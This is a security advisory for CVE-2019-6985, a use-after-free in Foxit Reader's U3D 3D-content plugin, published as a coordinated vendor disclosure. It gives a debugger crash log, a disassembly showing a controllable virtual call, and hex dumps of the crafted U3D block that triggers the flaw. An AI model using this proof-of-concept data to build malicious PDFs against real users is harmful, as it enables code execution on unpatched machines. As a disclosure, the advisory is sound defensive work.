CVE: CVE-2019-6985

Tested Versions:

  • Foxit Reader 9.1.0.5096, U3DBrowser.fpi 9.1.0.425

Product URL(s):

Description of the vulnerability

Foxit Reader is a popular PDF reading and printing software. It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via the U3DBrowser plug-in, which allows viewing embedded 3D annotations in PDF files. Up to version 9.0.1.1049 the plug-in is loaded in its default installation package, subsequent version continues the support to its user base with the plug-in separately acquired.

Any PDF file that embeds certain specially crafted 3D content, specifically, a malformed 2D Glyph Modifier Block with a specific Chain Index, could result in a use-after-free that allows using controllable memory for a direct virtual call.

(c74.1568): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=14638f80 ebx=66eb6140 ecx=1443afd0 edx=14636fd4 esi=14696fe8 edi=14636fd4
eip=66eb6157 esp=002cd6ac ebp=002cd6b0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206

U3DBrowser!PlugInMain+0x18417:
66eb6157 8b01            mov     eax,dword ptr [ecx]  ds:0023:1443afd0=????????
0:000> u
U3DBrowser!PlugInMain+0x18417:
66eb6157 8b01            mov     eax,dword ptr [ecx]
66eb6159 8b00            mov     eax,dword ptr [eax]
66eb615b 57              push    edi
66eb615c 8b7e08          mov     edi,dword ptr [esi+8]
66eb615f 57              push    edi
66eb6160 6a00            push    0
66eb6162 ffd0            call    eax
66eb6164 56              push    esi

0:000> !heap -p -a ecx
    address 1443afd0 found in
    _DPH_HEAP_ROOT @ bd91000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   143c1784:         1443a000             2000
    6d26a1e2 verifier!AVrfDebugPageHeapFree+0x000000c2
    76f07809 ntdll!RtlDebugFreeHeap+0x0000002f
    76ed4dee ntdll!RtlpFreeHeap+0x00000060
    76e8ddf0 ntdll!RtlFreeHeap+0x00000142
    7540c8f9 kernel32!HeapFree+0x00000014
    6a5c016a MSVCR100!free+0x0000001c
    66f91c00 U3DBrowser!PlugInMain+0x000f3ec0
    66f9312f U3DBrowser!PlugInMain+0x000f53ef
    66f9369a U3DBrowser!PlugInMain+0x000f595a
    66f1f979 U3DBrowser!PlugInMain+0x00081c39
    66f1faab U3DBrowser!PlugInMain+0x00081d6b
    [ ... ]

When processing a carefully crafted PDF with 3D stream containing a displaced 2D Glyph Modifier Block (type 0xFFFFFF41) with a specific Chain Index value, an attacker can potentially achieve arbitrary code execution at the privilege of the logged on user.

Original Model Node Block of type 0xffffff22:
00000510: 00 00 00 00 02 00 00 00 22 ff ff ff 65 00 00 00  ........"...e...
00000520: 00 00 00 00 05 00 42 6f 78 30 34 01 00 00 00 05  ......Box04.....
00000530: 00 42 6f 78 30 33 00 00 80 3f 00 00 00 00 00 00  .Box03...?......
00000540: 00 00 00 00 00 00 00 00 00 00 00 00 80 3f 00 00  .............?..
00000550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000560: 80 3f 00 00 00 00 4b b1 ba c1 44 05 b8 c1 00 00  .?....K...D.....
00000570: 00 00 00 00 80 3f 0d 00 4c 69 67 68 74 42 6f 78  .....?..LightBox
00000580: 4d 6f 64 65 6c 01 00 00 00 00 00 00 45 ff ff ff  Model.......E...

PoC: changing the block type to 0xffffff41:
00000510: 00 00 00 00 02 00 00 00 41 ff ff ff 65 00 00 00  ........A...e...
00000520: 00 00 00 00 05 00 42 6f 78 30 34 01 00 00 00 05  ......Box04.....
00000530: 00 42 6f 78 30 33 00 00 80 3f 00 00 00 00 00 00  .Box03...?......
00000540: 00 00 00 00 00 00 00 00 00 00 00 00 80 3f 00 00  .............?..
00000550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000560: 80 3f 00 00 00 00 4b b1 ba c1 44 05 b8 c1 00 00  .?....K...D.....
00000570: 00 00 00 00 80 3f 0d 00 4c 69 67 68 74 42 6f 78  .....?..LightBox
00000580: 4d 6f 64 65 6c 01 00 00 00 00 00 00 45 ff ff ff  Model.......E...

Only the Chain Index 0x1 are necessary, the following almost completely zero-ed 0xffffff41 block reaches the same crash:

00000510: 00 00 00 00 02 00 00 00 41 ff ff ff 65 00 00 00  ........A...e...
00000520: 00 00 00 00 05 00 42 6f 78 30 34 01 00 00 00 01  ......Box04.....
00000530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000570: 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 00 00  ................
00000580: 00 00 00 00 00 00 00 00 00 00 00 00 45 ff ff ff  ............E...

From the crash site onwards, it is clear that the referenced object is entirely in free-ed allocation, it is straightforward to control the virtual table and value of eax at .text:10026162:

.text:10026155                 mov     ecx, [esi]
.text:10026157                 mov     eax, [ecx]      ; Use-after-Free
.text:10026159                 mov     eax, [eax]      ; fetch controlled vtable[0]
.text:1002615B                 push    edi
.text:1002615C                 mov     edi, [esi+8]
.text:1002615F                 push    edi
.text:10026160                 push    0
.text:10026162                 call    eax             ; controlled virtual call

The vulnerability is triggered by changing a Model Node Block (0xffffff22) that is embedded in a Modifier Chain (0xffffff14) to a 2D Glyph Modifier Block (0xffffff41). By the ECMA-363 standard, typically Modifier Blocks (0xffffff41 - 0xffffff46) are standalone, whereas Modifier Declaration Blocks must be contained in a Modifier Chain Block.

Timeline:

  • 2018-11-28 Vendor disclosure
  • 2019-01-03 Vendor patched

Vendor Response

The vendor has patched the 3D plugin and acknowledged the security issues at https://www.foxitsoftware.com/support/security-bulletins.php.